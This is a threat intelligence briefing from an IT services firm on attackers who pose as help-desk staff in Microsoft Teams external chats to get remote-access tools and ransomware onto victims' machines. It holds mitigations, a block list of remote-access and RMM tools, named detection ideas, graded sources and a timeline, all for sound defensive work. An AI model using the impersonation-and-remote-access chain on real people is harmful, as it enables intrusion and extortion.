Remote access tools (Quick Assist, AnyDesk, ScreenConnect, TeamViewer, Atera, Zoho Assist, NetSupport, LogMeIn, RemSupp, DWAgent, Level, Splashtop)	Endpoints where users can launch or install unsanctioned remote-access tools	Application control / removal; restrict Quick Assist to IT roles	None	N/A	N/A	No	N/A

Immediate (0–24 hours)

- Check the Teams external access setting in every managed tenant. Where it is 'allow all', switch to an allow-list of known partner domains, or block external access if no business need exists. `IT OPS` [S1]
- Block federation with trial tenants (Set-CsTenantFederationConfiguration -ExternalAccessWithTrialTenants "Blocked") and stop unmanaged or consumer Teams accounts from starting chats. `IT OPS` [S1]
- Add the reported attacker tenant domains and IT-themed .top/.com domains to the Defender Tenant Allow/Block List and DNS or web filters. Check the compromised-looking domains (e.g. .gov.co) first. `SOC` [S1] [S3]
- Send a short staff notice: IT will never start unsolicited Teams chats or calls, and users must hang up and call the help desk's published number before allowing any remote session. `LEADERSHIP` [S1] [S5] [S6]
- Run a retro-hunt of the last 30-60 days of Teams ChatCreated events from foreign tenants with help-desk names, and check for any RMM launches by the same users. `SOC` [S1] [S5] [S7]

Short term (1–7 days)

- Uninstall or block Quick Assist where it is not used, or restrict it to IT roles. Block unsanctioned RMM tools (AnyDesk, ScreenConnect, TeamViewer, Atera, Zoho Assist, NetSupport, LogMeIn, RemSupp, DWAgent, Level, Splashtop) with WDAC/AppLocker or EDR policy. `IT OPS` [S1] [S3] [S5] [S6]
- Deploy the detections in this report: foreign-tenant ChatCreated, RMM within 30 minutes of external chat, AppData Run-key masquerading, and PowerShell download-and-run. `SOC` [S1] [S3] [S5] [S7]
- Enable Safe Links for Teams and ZAP, and turn on Teams end-user reporting of suspicious external users. These do not stop the hands-on payload step but help with link-based variants. `IT OPS` [S1] [S5]
- Turn on ASR rules in block mode, plus network protection and tamper protection, in Defender for Endpoint. `IT OPS` [S5] [S6]
- Correlate email-bombing spikes with external Teams contact, and treat that pair as a high-priority alert. `SOC` [S1] [S6]

Long term

- Set up out-of-band verification for remote support, such as a callback to a registered number or a verbal help-desk passphrase, and publish how IT really contacts users. `LEADERSHIP` [S1] [S5]
- Use WDAC to block execution and DLL sideloading from ProgramData and AppData, and restrict WinRM to management workstations. `IT OPS` [S5]
- Require phishing-resistant MFA and compliant devices for admin roles through Conditional Access. `IT OPS` [S5] [S6]
- Add Teams and vishing help-desk impersonation scenarios to security awareness training and phishing simulations. `LEADERSHIP` [S1] [S3]

Workarounds & compensating controls

- If external access must stay open, deploy a monitoring rule that alerts on every first-contact external one-on-one chat, and require the SOC to triage it within minutes, since payloads can run in under 15 minutes.

SOC [S1]

- Alert on Run-key changes and new Startup shortcuts written by non-installer processes, and recheck these locations after any incident cleanup. SOC [S3] [S5]
- Use Microsoft Remote Help or a single sanctioned RMM tool for legitimate support, so that any other tool stands out as an anomaly. IT OPS [S6]

Actions marked with an owner: SOC = security operations, IT Ops = system and network administration, Leadership = risk and communications decisions.

SOURCES

[S1] Arctic Wolf Labs: Beyond the Inbox: How Threat Actors Abuse Microsoft Teams External Chat for Initial Access
Published 2026-10-26 · A1 Completely reliable, confirmed by other sources
Primary source; 400+ incidents; appendices with tenants, display names and domains; no hashes or IPs.

[S2] The Hacker News: Attackers Use Microsoft Teams IT Support Scams to Deploy Malware and Ransomware
Published 2026-10-26 · B2 Usually reliable, probably true
Briefing's original source; summary of Arctic Wolf report.

[S3] Sophos: Chaos in Teams vishing (STAC4749)
Published 2026-07-30 · A1 Completely reliable, confirmed by other sources
Original research on STAC4749/Chaos with IOCs. The page shows no date; publication date taken from BleepingComputer coverage [S4].

[S4] BleepingComputer: Microsoft Teams vishing attacks lead to Chaos ransomware attacks
Published 2026-07-30 · B2 Usually reliable, probably true
Secondary coverage of Sophos; gives 45% US vs Sophos page 44%.

[S5] Microsoft Security Blog: Cross-tenant helpdesk impersonation to data exfiltration: A human-operated intrusion playbook
Published 2026-04-18 · A1 Completely reliable, confirmed by other sources
Vendor research; nine-stage chain, hunting queries, mitigations.

[S6] Microsoft Threat Intelligence: Threat actors misusing Quick Assist in social engineering attacks leading to ransomware
Published 2024-05-15 · A1 Completely reliable, confirmed by other sources
Historical context: Storm-1811 / Black Basta origin of the technique.

[S7] Elastic: M365 Teams Rogue Help Desk Chat Created (prebuilt detection rule)
Published · **B2** Usually reliable, probably true
Detection logic reference; no publication date on the page.

[S8] The Hacker News: TWINLOOT abuses SharePoint and Teams (Ontinue research)
Published 2026-08-18 · **B3** Usually reliable, possibly true
Related Teams-IT-support Python implant with STAC4749 overlaps; Ontinue original not opened.

Grades use the Admiralty scale: letter = source reliability (A completely reliable to F cannot be judged), number = information credibility (1 confirmed to 6 cannot be judged).

MISCELLANEOUS

Timeline

Date	Event	Source
2024-04-15	Microsoft observes Storm-1811 abusing Quick Assist and Teams help-desk impersonation, leading to Black Basta ransomware (approximate 'mid-April' start).	[S6]
2024-05-15	Microsoft publishes the Storm-1811 / Quick Assist report.	[S6]
2026-02-01	STAC4749 Teams vishing activity begins (Sophos: February-June 2026; day approximate).	[S3]
2026-04-18	Microsoft publishes the cross-tenant help-desk impersonation intrusion playbook.	[S5]
2026-07-30	Sophos STAC4749 / Chaos ransomware research is covered publicly.	[S3] [S4]
2026-08-18	Ontinue's TWINLOOT Python implant, delivered through Teams IT-support social engineering, is reported.	[S8]
2026-10-26	Arctic Wolf publishes its analysis of 400+ Teams external-chat abuse incidents; The Hacker News covers it.	[S1] [S2]

Relevance to Indianapolis, Indiana & managed clients

This affects nearly every Indiana organization on Microsoft 365, because Teams external access is open by default and the attack needs no vulnerability. Small and mid-size businesses and local governments that rely on an outsourced help desk are especially exposed: users already expect calls from 'IT', and many have never restricted federation or Quick Assist. Indiana's large manufacturing, construction and engineering, and professional-services base matches the sectors STAC4749 hit most often, and Sophos reports US organizations at roughly 45% of its victims [S3] [S4]. Hospitals, clinics, school districts and universities in central Indiana tend to run open collaboration settings with outside partners, which makes allow-listing harder but more important.

For Lucidia IT, this is a client-facing trust issue. Attackers posing as 'IT Support' are posing as us. Every managed tenant should get the external-access and trial-tenant hardening, a Quick Assist and RMM policy that leaves only Lucidia's sanctioned tool, and a client communication explaining how Lucidia's help desk will and will not contact users. Our SOC should also watch for unsanctioned RMM tools across the client base.

Intelligence gaps

- Arctic Wolf did not state the timeframe its 400+ cases cover, the industry or geographic split, or how many cases led to ransomware.
- No file hashes, IP addresses or exact command lines were published for the Arctic Wolf case set; the Azure Blob URL and MSI name were withheld.
- Sophos hashes are in its GitHub IOC CSV (STAC4749-Chaos_IOCs_July2026.csv), which was not opened for this report.
- The GoGRPC backdoor is attributed to a Zscaler-reported campaign that was not reviewed here; technical details are unknown.
- Attribution across clusters (STAC4749, Storm-1811, UNC6692, former Black Basta affiliates, Cactus, 3AM) is loose; it is unclear how many distinct operators are behind the 400+ cases.
- Watch for Microsoft changes to the Teams external-access default and for further vendor reports of victim-branded display names and paid domains.

Other notes

- The Hacker News excerpt says 'hundreds of cases'. Arctic Wolf's key findings say more than 400 incidents.
- Sophos's page shows about 44% of STAC4749 victims in the US, while BleepingComputer reports 45%; both put Canada at about 50%.
- Sophos notes that STAC4749 deliberately avoided onmicrosoft.com tenants in favor of .top domains. Arctic Wolf sees both, with .top making up about half of paid-domain cases.
- Rapid7 raised a possible MuddyWater false flag in Teams-based attacks; Sophos found no evidence of a link to STAC4749 (reported via S4; Rapid7 original not opened).
- Microsoft stresses that the chain relies on users overriding Teams external warnings, not on a product flaw [S5].
- Some Arctic Wolf payload domains (e.g. a .gov.co domain) look like compromised legitimate sites; blocking them may affect legitimate traffic.

LIT-CTI-20261027-02 v1.1 · Generated 2026-10-27 10:42 EDT from public reporting. Drafted with AI assistance and reviewed by Nick Sturgeon. Verify indicators and actions before operational use. Summaries are in the analyst's own words.

Back to the daily briefing.

TLP:CLEAR Unrestricted public release.